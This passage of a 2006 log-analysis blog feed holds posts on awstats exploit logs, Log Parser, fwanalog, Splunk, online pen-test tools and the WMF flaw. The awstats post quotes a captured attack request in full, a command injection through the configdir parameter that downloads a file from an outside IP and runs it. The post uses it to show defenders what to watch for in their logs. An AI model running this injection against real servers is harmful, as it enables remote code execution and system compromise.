href="http://del.icio.us/tags/format+string" target="_blank" rel="tag"&gt;format string&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19719234-114121537079805708?l=loganalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://loganalysis.blogspot.com/feeds/114121537079805708/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19719234&amp;postID=114121537079805708' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/114121537079805708'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/114121537079805708'/><link rel='alternate' type='text/html' href='http://loganalysis.blogspot.com/2006/03/log-analyze-xmlrpc-xmlsrv-404-requests.html' title='Log analyze xmlrpc xmlsrv 404 requests Linux Worm'/><author><name>chmod</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19719234.post-113938591862635563</id><published>2006-02-07T23:52:00.000-08:00</published><updated>2006-11-05T08:32:26.542-08:00</updated><title type='text'>Known awstats (awstats.pl) Vulnerability Logs - Update</title><content type='html'>The last 2 weeks my httpd/apache access_log has been showered with GET requests, trying to exploit a know vulnerability in awstats 6.3 and prior. This has been resolved in version &lt;span style="font-weight:bold;"&gt;6.5&lt;/span&gt; of awstats, so upgrade.&lt;br /&gt;&lt;br /&gt;Awstats is a great log tool that generates advanced graphical statistics from your server logs. I have used it on many of my sites to generate graphical statistics. http://awstats.sourceforge.net/&lt;br /&gt;&lt;br /&gt;However a vulnerability has been identified in awstats (&lt; 6.3), it could be exploited by attackers to execute arbitrary code and compromise a vulnerable system. The problem results from an input validation error in the "awstats.pl" file when handling the "configdir" parameter, which can be exploited by attackers to execute arbitrary command using "|" characters.)&lt;br /&gt;&lt;br /&gt;So if you run use awstats on your webserver and find these kind of logs in your access_log you&lt;br /&gt;should take action and consider your machine as compromised. &lt;span style="font-weight:bold;"&gt;Upgrade to awstats version 6.5&lt;/span&gt; immediately or asap. Version 6.5 is available for download.&lt;br /&gt;http://awstats.sourceforge.net/#DOWNLOAD&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Typical Exploit Attempt For Awstats.pl&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bw&lt;br /&gt;get%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2f&lt;br /&gt;listen%20216%2e102%2e212%2e115;echo%20YYY;&lt;br /&gt;echo|  HTTP/1.1\n&lt;br /&gt;        Request Method: GET&lt;br /&gt;        Request URI: /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3b&lt;br /&gt;wget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2f&lt;br /&gt;listen%20216%2e102%2e212%2e115;echo%20YYY;&lt;br /&gt;echo|&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Explanation: If you are familiar with Unix/Linux you should be able to strip out the commands that this string contains. First out after the GET request is the path to awstats awstats.pl (cgi script, written in perl) Awstats.pl can be used from the command line too.&lt;br /&gt;&lt;br /&gt;So after awstats.pl?configdir=|echo;, you should see the %20YYY;cd &lt;- (cd = change directory in Unix) to /tmp. Then wget (utility for non-interactive download of files from&lt;br /&gt;       the Web.  It supports HTTP, HTTPS, and FTP protocols, as well as&lt;br /&gt;       retrieval through HTTP proxies.) wget (ip address)/listen, then change mode command chmod. &lt;br /&gt;chmod listen (file) (listen file = netcat?) I will have to find out and get back on that one.&lt;br /&gt;So check for an update in this posting if you are interested.&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;span class="technoratitag"&gt;Technorati Tags:&lt;br /&gt;&lt;a href="http://www.technorati.com/tags/awstats" target="_blank" rel="tag"&gt;awstats&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/awstats.pl" target="_blank" rel="tag"&gt;awstats.pl&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/get" target="_blank" rel="tag"&gt;get&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/vulnerability" target="_blank" rel="tag"&gt;vulnerability&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/exploit" target="_blank" rel="tag"&gt;exploit&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/code" target="_blank" rel="tag"&gt;code&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/upgrade" target="_blank" rel="tag"&gt;upgrade&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/6.3" target="_blank" rel="tag"&gt;6.3&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/update+6.2" target="_blank" rel="tag"&gt;update 6.2&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/configdir" target="_blank" rel="tag"&gt;configdir&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/analysis" target="_blank" rel="tag"&gt;analysis&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/analyzed" target="_blank" rel="tag"&gt;analyzed&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/analyzer" target="_blank" rel="tag"&gt;analyzer&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19719234-113938591862635563?l=loganalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://loganalysis.blogspot.com/feeds/113938591862635563/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19719234&amp;postID=113938591862635563' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/113938591862635563'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/113938591862635563'/><link rel='alternate' type='text/html' href='http://loganalysis.blogspot.com/2006/02/known-awstats-awstatspl-vulnerability.html' title='Known awstats (awstats.pl) Vulnerability Logs - Update'/><author><name>chmod</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19719234.post-113898333388260231</id><published>2006-02-03T08:10:00.000-08:00</published><updated>2006-11-05T08:32:26.482-08:00</updated><title type='text'>Log parser review. The "forgotten" power tool?</title><content type='html'>Logparser 2.0.&lt;br /&gt;&lt;br /&gt;Logparser 2.0 has been around since 2002, but you hardly ever hear anyone talking about it. This is a great tool for parsing logs,&lt;br /&gt;if you get to know it. Logparser comes with a huge amount of options and flags, and as far as I know, no GUI, (Graphical User Interface), which might scare of some administrators. I am from the world of Unix, and command line freak, so the CLI that logparser&lt;br /&gt;offers, is just perfect. (No CLI vs GUI flames, please). &lt;br /&gt;&lt;br /&gt;As this is a blog, I will not go into every detail about Logparser. You will have to explore it yourself. I do recommend it, it is really a powertool for Windows Administrators and Expert users, with the ability to give you a good overview of all the logs your machines&lt;br /&gt;are producing. You could write batchjobs to parse your Event Log, the Registry, the file system, and Active Directory®,&lt;br /&gt; and have it mailed to you every morning. Would not that be nice? The results of your query can also be custom-formatted in text based output, or they can be persisted to more specialty targets like SQL, SYSLOG, or a chart.&lt;br /&gt;&lt;br /&gt;With some tweaking, you could make your log queries and results "management" understandable, and have the output of your&lt;br /&gt;loganalyze to a human readable format.&lt;br /&gt;&lt;br /&gt;Not to scare you off logparser, but here is all the flags you will be able to use:&lt;br /&gt;&lt;br /&gt;C:\Program\Log Parser&gt;logparser&lt;br /&gt;&lt;br /&gt;Microsoft (R) Log Parser Version 2.0&lt;br /&gt;Copyright (C) 2002 Microsoft Corporation. All rights reserved.&lt;br /&gt;&lt;br /&gt;Usage:   LogParser [-i:&lt;input_format&gt;] [-o:&lt;output_format&gt;]&lt;br /&gt;                   &lt;SQL query&gt; | file:&lt;query_filename&gt;&lt;br /&gt;                   [&lt;input_format_options&gt;] [&lt;output_format_options&gt;]&lt;br /&gt;                   [-q[:ON|OFF]] [-e:&lt;max_errors&gt;] [-iw[:ON|OFF]]&lt;br /&gt;                   [-stats[:ON|OFF]]&lt;br /&gt;&lt;br /&gt;         LogParser -c -i:&lt;input_format&gt; -o:&lt;output_format&gt; &lt;from_entity&gt;&lt;br /&gt;                   &lt;to_entity&gt; [&lt;where_clause&gt;] [&lt;input_format_options&gt;]&lt;br /&gt;                   [&lt;output_format_options&gt;] [-multisite[:ON|OFF]&lt;br /&gt;                   [-q[:ON|OFF]] [-e:&lt;max_errors&gt;] [-iw[:ON|OFF]]&lt;br /&gt;                   [-stats[:ON|OFF]]&lt;br /&gt;&lt;br /&gt;-i:&lt;input_format&gt;     : one of IISW3C, NCSA, IIS, ODBC, BIN, IISMSID,&lt;br /&gt;                        HTTPERR, URLSCAN, CSV, W3C, EVT, TEXTLINE, TEXTWORD,&lt;br /&gt;                        FS (if omitted, will guess from the FROM clause)&lt;br /&gt;-o:&lt;output_format&gt;    : one of CSV, XML, NAT, W3C, IIS, SQL, TPL, NULL (if&lt;br /&gt;                        omitted, will guess from the TO clause)&lt;br /&gt;-q[:ON|OFF]           : quiet mode; default is OFF&lt;br /&gt;-e:&lt;max_errors&gt;       : max # of parse errors before aborting; default is -1&lt;br /&gt;                        (ignore all)&lt;br /&gt;-iw[:ON|OFF]          : ignore warnings; default is OFF&lt;br /&gt;-stats[:ON|OFF]       : dump stats after executing query; default is ON&lt;br /&gt;-c                    : use built-in conversion query&lt;br /&gt;-multisite[:ON|OFF]   : send BIN conversion output to multiple files&lt;br /&gt;                        depending on the SiteID value; default is OFF&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Examples:&lt;br /&gt; LogParser "SELECT date, REVERSEDNS(c-ip) AS Client, COUNT(*) FROM file.log&lt;br /&gt;            WHERE sc-status&lt;&gt;200 GROUP BY date, Client" -e:10&lt;br /&gt; LogParser -c -i:BIN -o:W3C file1.log file2.log "ComputerName IS NOT NULL"&lt;br /&gt;&lt;br /&gt;Help:&lt;br /&gt; -h 1                  : SQL Language Grammar&lt;br /&gt; -h 2 [ &lt;function&gt; ]   : Functions Syntax&lt;br /&gt; -h 3                  : Example queries&lt;br /&gt; -h -i:&lt;input_format&gt;  : Help on &lt;input_format&gt;&lt;br /&gt; -h -o:&lt;output_format&gt; : Help on &lt;output_format&gt;&lt;br /&gt; -h -c                 : Conversion help&lt;br /&gt;&lt;br /&gt;"Most software is designed to accomplish a limited number of specific tasks. Log Parser is different... the number of ways it can be used is limited only by the needs and imagination of the user. The world is your database with Log Parser."&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19719234-113898333388260231?l=loganalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.microsoft.com/downloads/details.aspx?FamilyID=890cd06b-abf8-4c25-91b2-f8d975cf8c07&amp;displaylang=en' title='Log parser review. The &quot;forgotten&quot; power tool?'/><link rel='replies' type='application/atom+xml' href='http://loganalysis.blogspot.com/feeds/113898333388260231/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19719234&amp;postID=113898333388260231' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/113898333388260231'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/113898333388260231'/><link rel='alternate' type='text/html' href='http://loganalysis.blogspot.com/2006/02/log-parser-review-forgotten-power-tool.html' title='Log parser review. The &quot;forgotten&quot; power tool?'/><author><name>chmod</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19719234.post-113882650413695773</id><published>2006-02-01T12:41:00.000-08:00</published><updated>2006-11-05T08:32:26.417-08:00</updated><title type='text'>Online pen-test tools, How secure are you and your clients/servers?</title><content type='html'>&lt;p&gt;&lt;br /&gt;&lt;b&gt;Online pen-test tools&lt;/b&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;b&gt;traceroute - print the route packets take to network host&lt;/b&gt;&lt;br /&gt;Uses the IP protocol time to live field and attempts to elicit an ICMP TIME_EXCEEDED response from each gateway along the path to some host.&lt;br /&gt;(shows all the routers hops between host A to B. Useful for problemshooting network&lt;br /&gt;problems, mapping network infrastructure etc.. On Unix/Linux systems you can use traceroute with the -I flag, which is an ICMP flag. Traceroute uses UDP packets by default. As UDP (User Datagram Protocol)is a stateless protocol, and with low priority for routing protocols. This means that the if the load between&lt;br /&gt;two networks are heavy, the routers will drop the traceroute UDP packets with ease.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;b&gt;[salt@mimir ~]$ /usr/sbin/traceroute -I host_to_traceroute Version 1.4a12&lt;/b&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;Usage: traceroute [-dFInrvx] [-g gateway] [-i iface] [-f first_ttl]&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;        [-m max_ttl] [ -p port] [-q nqueries] [-s src_addr] [-t tos]&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;        [-w waittime] [-z pausemsecs] host [packetlen]&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;a href="http://networking.ringofsaturn.com/Tools/traceroute.php"&gt;Online Traceroute can be found here&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;a href="http://www.xs4all.nl/~kazil/testfiles/index.htm"&gt;Online Perimeter and Content Scanning&lt;/a&gt;&lt;br /&gt;&lt;a href="http://Linux-Sec.net"&gt;Linux Sec Dot Net. &lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;Lots of online tools, Use with care, abuse is and will not be tolerated.&lt;br /&gt;&lt;p&gt;&lt;br /&gt;Online port scanners, nessus scanners, dns scanners, apache scanners, firewall testers, open relay tests, &lt;br /&gt;virus scanners and much more.. &lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;span class="technoratitag"&gt;Technorati Tags:&lt;br /&gt;&lt;a href="http://www.technorati.com/tags/traceroute" target="_blank" rel="tag"&gt;traceroute&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/TIME_EXCEEDED" target="_blank" rel="tag"&gt;TIME_EXCEEDED&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/udp" target="_blank" rel="tag"&gt;udp&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/icmp" target="_blank" rel="tag"&gt;icmp&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/tcp" target="_blank" rel="tag"&gt;tcp&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/elicit" target="_blank" rel="tag"&gt;elicit&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/ip" target="_blank" rel="tag"&gt;ip&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/protocol" target="_blank" rel="tag"&gt;protocol&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/network" target="_blank" rel="tag"&gt;network&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/hops" target="_blank" rel="tag"&gt;hops&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/router" target="_blank" rel="tag"&gt;router&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/" target="_blank" rel="tag"&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;span class="technoratitag"&gt;Technorati Tags:&lt;br /&gt;&lt;a href="http://www.technorati.com/tags/online" target="_blank" rel="tag"&gt;online&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/pen-test" target="_blank" rel="tag"&gt;pen-test&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/tools" target="_blank" rel="tag"&gt;tools&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;http://nordstrommarna.mine.nu/article.php/online_pen-test_tools_2006_02_01&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19719234-113882650413695773?l=loganalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://nordstrommarna.mine.nu/article.php/online_pen-test_tools_2006_02_01' title='Online pen-test tools, How secure are you and your clients/servers?'/><link rel='replies' type='application/atom+xml' href='http://loganalysis.blogspot.com/feeds/113882650413695773/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19719234&amp;postID=113882650413695773' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/113882650413695773'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/113882650413695773'/><link rel='alternate' type='text/html' href='http://loganalysis.blogspot.com/2006/02/online-pen-test-tools-how-secure-are.html' title='Online pen-test tools, How secure are you and your clients/servers?'/><author><name>chmod</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19719234.post-113822716173101773</id><published>2006-01-25T14:09:00.000-08:00</published><updated>2006-11-05T08:32:26.357-08:00</updated><title type='text'>Fwanalog, analys your firewall logs now!</title><content type='html'>&lt;p&gt;&lt;br /&gt;I have tried out fwanalog some time ago, and I am really impressed of the work the coder has done with shell scripts. If you consider the commercial software CheckPoint sells, (Reporter), you will&lt;br /&gt;find this tool alot more useful. So start parsing your firewall logs today!&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;fwanalog is a shell script that parses and summarizes firewall logfiles. It currently (version 0.6.9) understands logs from &lt;a href="http://coombs.anu.edu.au/%7Eavalon/ip-filter.html"&gt;ipf&lt;/a&gt; (tested with &lt;a href="http://www.openbsd.org/"&gt;OpenBSD&lt;/a&gt; 2.8's and 2.9's ipf, also  FreeBSD, NetBSD and Solaris 8 with ipf (+ ipfw on FreeBSD)), OpenBSD 3.x pf,  Linux 2.2 ipchains, &lt;a href="http://www.netfilter.org/"&gt;Linux 2.4 iptables&lt;/a&gt;, some ZyXEL/NetGear routers and Cisco PIX, Watchguard Firebox, Firewall-One (not NG!), FreeBSD ipfw and Sonicwall firewalls.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;(You might need to change the shebang line to bash on non-free Unixes that don't ship with a powerful enough /bin/sh.)&lt;/p&gt;  &lt;p&gt;It can be easily extended for other logfile formats, all it takes is editing two regular expressions.&lt;/p&gt;  &lt;p&gt;fwanalog uses the &lt;b&gt;excellent&lt;/b&gt; log analysis program  &lt;a href="http://www.analog.cx/"&gt;Analog&lt;/a&gt; (also free software) to create its reports. It does so by converting the firewall log into a fake web server log and calling Analog with a modified configuration.&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;span class="technoratitag"&gt;Technorati Tags:&lt;br /&gt;&lt;a href="http://www.technorati.com/tags/fwanalog" target="_blank" rel="tag"&gt;fwanalog&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/analog" target="_blank" rel="tag"&gt;analog&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/parse" target="_blank" rel="tag"&gt;parse&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/logs" target="_blank" rel="tag"&gt;logs&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/analys" target="_blank" rel="tag"&gt;analys&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/firewall" target="_blank" rel="tag"&gt;firewall&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/checkpoint" target="_blank" rel="tag"&gt;checkpoint&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/cisco+pix" target="_blank" rel="tag"&gt;cisco pix&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/FreeBSD+ipfw" target="_blank" rel="tag"&gt;FreeBSD ipfw&lt;/a&gt;, &lt;a href="http://www.technorati.com/tags/Sonicwall+firewalls" target="_blank" rel="tag"&gt;Sonicwall firewalls&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;/p&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19719234-113822716173101773?l=loganalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://tud.at/programm/fwanalog/' title='Fwanalog, analys your firewall logs now!'/><link rel='replies' type='application/atom+xml' href='http://loganalysis.blogspot.com/feeds/113822716173101773/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19719234&amp;postID=113822716173101773' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/113822716173101773'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/113822716173101773'/><link rel='alternate' type='text/html' href='http://loganalysis.blogspot.com/2006/01/fwanalog-analys-your-firewall-logs-now.html' title='Fwanalog, analys your firewall logs now!'/><author><name>chmod</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19719234.post-113637134425404490</id><published>2006-01-12T03:37:00.000-08:00</published><updated>2006-11-05T08:32:26.108-08:00</updated><title type='text'>A heavy flaw in WMF has been reported.</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;br/&gt;&lt;p class="mobile-post"&gt; A heavy flaw in WMF has been reported.&lt;/p&gt; &lt;p class="mobile-post"&gt;The WMF vulnerability uses images (WMF images) to execute arbitrary&lt;br/&gt;code. It will execute just by viewing the image. In most cases, you&lt;br/&gt;don't have click anything. Even images stored on your system may cause&lt;br/&gt;the exploit to be triggered if it is indexed by some indexing&lt;br/&gt;software. Viewing a directory in Explorer with 'Icon size' images will&lt;br/&gt;cause the exploit to be triggered as well. Microsoft announced that an&lt;br/&gt;official patch will not be available before January 10th 2006 (next&lt;br/&gt;regular update cycle). But there several workarounds available. This&lt;br/&gt;is one of them. I haven't tested this Hotfix, so I can't guarantee&lt;br/&gt;anything, but the guys at SANS usually know what they're doing.&lt;/p&gt; &lt;p class="mobile-post"&gt;MSI WMF Hotfix link http://handlers.sans.org/tliston/WMFHotfix-1.4.msi&lt;/p&gt; More information about the WMF flaw can be found at isc.sans.or&lt;/div&gt;&lt;br/&gt;&lt;br/&gt;Technorati Tags: &lt;a href="http://technorati.com/tag/WMF" rel="tag"&gt;WMF&lt;/a&gt;, &lt;a href="http://technorati.com/tag/vulnerability" rel="tag"&gt;vulnerability&lt;/a&gt;, &lt;a href="http://technorati.com/tag/images" rel="tag"&gt;images&lt;/a&gt;, &lt;a href="http://technorati.com/tag/malicious" rel="tag"&gt;malicious&lt;/a&gt;, &lt;a href="http://technorati.com/tag/code" rel="tag"&gt;code&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19719234-113637134425404490?l=loganalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://nordstrommarna.mine.nu' title='A heavy flaw in WMF has been reported.'/><link rel='replies' type='application/atom+xml' href='http://loganalysis.blogspot.com/feeds/113637134425404490/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19719234&amp;postID=113637134425404490' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/113637134425404490'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/113637134425404490'/><link rel='alternate' type='text/html' href='http://loganalysis.blogspot.com/2006/01/heavy-flaw-in-wmf-has-been-reported.html' title='A heavy flaw in WMF has been reported.'/><author><name>chmod</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19719234.post-113690851194403320</id><published>2006-01-12T03:36:00.000-08:00</published><updated>2006-11-05T08:32:26.163-08:00</updated><title type='text'>Splunk review (free version)</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;br /&gt;&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;Tried out the Splunkserver ,  (Red Hat Enterprise Server 4, Kernel 2.6.9-5.EL)&lt;span id="configCloneTarget"&gt;&lt;br /&gt;&lt;span id="config"&gt;(Splunk Server version 1.1 build &lt;span id="version"&gt;3772) to be exact &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;and the first review concerns installation, look and feel.&lt;br /&gt;&lt;br /&gt;I am an experienced Unix/Linux Sys Admin, but the installation was a just a kick, and the installation script gave me options with yes or no, which made it extremely easy to install. Just chmod splunk-Server-1.1-linux-installer.bin (chmod +x) so it's excecutable and start the install phase with # ./splunk-Server-1.1-linux-installer.bin.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Starting the Splunkserver was as easy. Run the splunk Bourne Shell Script as follows,&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@mimir splunk]# /opt/splunk/bin/splunk start&lt;br /&gt;== Checking prerequisites...&lt;br /&gt;Version is Splunk Server&lt;br /&gt;Checking http port [8000]: open&lt;br /&gt;Checking https port [8001]: open&lt;br /&gt;Checking mgmt port [8089]: open&lt;br /&gt;Checking search port [9099]: open&lt;br /&gt;== All checks passed&lt;br /&gt;Starting splunkd [ OK ]&lt;br /&gt;Starting splunkSearch [ OK ]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You might have a problem with the ports, as your local firewall, that you have enabled (yes, a must have) will not let you connect to these ports by default. If you're connecting thru localhost, this shouldn't be much of a problem.&lt;br /&gt;&lt;br /&gt;Check out netfilter/iptables for localhost access otherwise. You are also able to choose other ports, that may suit your firewall needs better. Just be sure that the are not taken buy another service.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;As I am an IT security freak, I don't want any ports to bind to my external face (internet) if avoidable, so I would recommend defending these ports with appropriate firewall rules, before playing around with the web interface.&lt;br /&gt;&lt;br /&gt;So don't allow any internet sources to connect to port 8000/tcp, 8001/tcp, 8089/tcp 9099/tcp. You might need to open up them later, for communications with other syslog facilities. But wait until you've got familiar with Splunk, and how it works.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Connecting to the webserver interface is easy, just add the port 8000 to your URL, and you will land right on the Splunk user interface. You will be greeted with "Welcome to Splunk" and see some configuration options.  So fire up firefox/IE against yourhost:8000 and browse.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To get started, click on Index a file now, and upload a file in syslog format, ex. /var/log/messages. The file will be indexed and viewable in a second. That depends on the size and the CPU power of course, but 40 MB of files was done in a flash with my workstation.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;From here on, you can now browse all your log messages in a beautifully structured and intelligent way. Click on the file you let Splunk process, and have a look. Mmmm, a sys admins wet dream.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ok, that's all for now, I will post part II later this week, when I have had the time to try it out with searches, tags and some of the advanced features it offers. Sure looks promising.&lt;br /&gt;I will try and see if I can configure snort data to be processed aswell.&lt;br /&gt;&lt;br /&gt;So for now, keep your /var/log/ in shape, and don't throw away any UDP with destination 514.&lt;br /&gt;&lt;a href="http://www.splunk.com/"&gt;Splunk Offical Website&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ALX&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;Technorati Tags: &lt;a href="http://technorati.com/tag/splunk" rel="tag"&gt;splunk&lt;/a&gt;, &lt;a href="http://technorati.com/tag/syslog" rel="tag"&gt;syslog&lt;/a&gt;, &lt;a href="http://technorati.com/tag/firewall" rel="tag"&gt;firewall&lt;/a&gt;, &lt;a href="http://technorati.com/tag/ids" rel="tag"&gt;ids&lt;/a&gt;, &lt;a href="http://technorati.com/tag/nids" rel="tag"&gt;nids&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19719234-113690851194403320?l=loganalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.splunk.com/' title='Splunk review (free version)'/><link rel='replies' type='application/atom+xml' 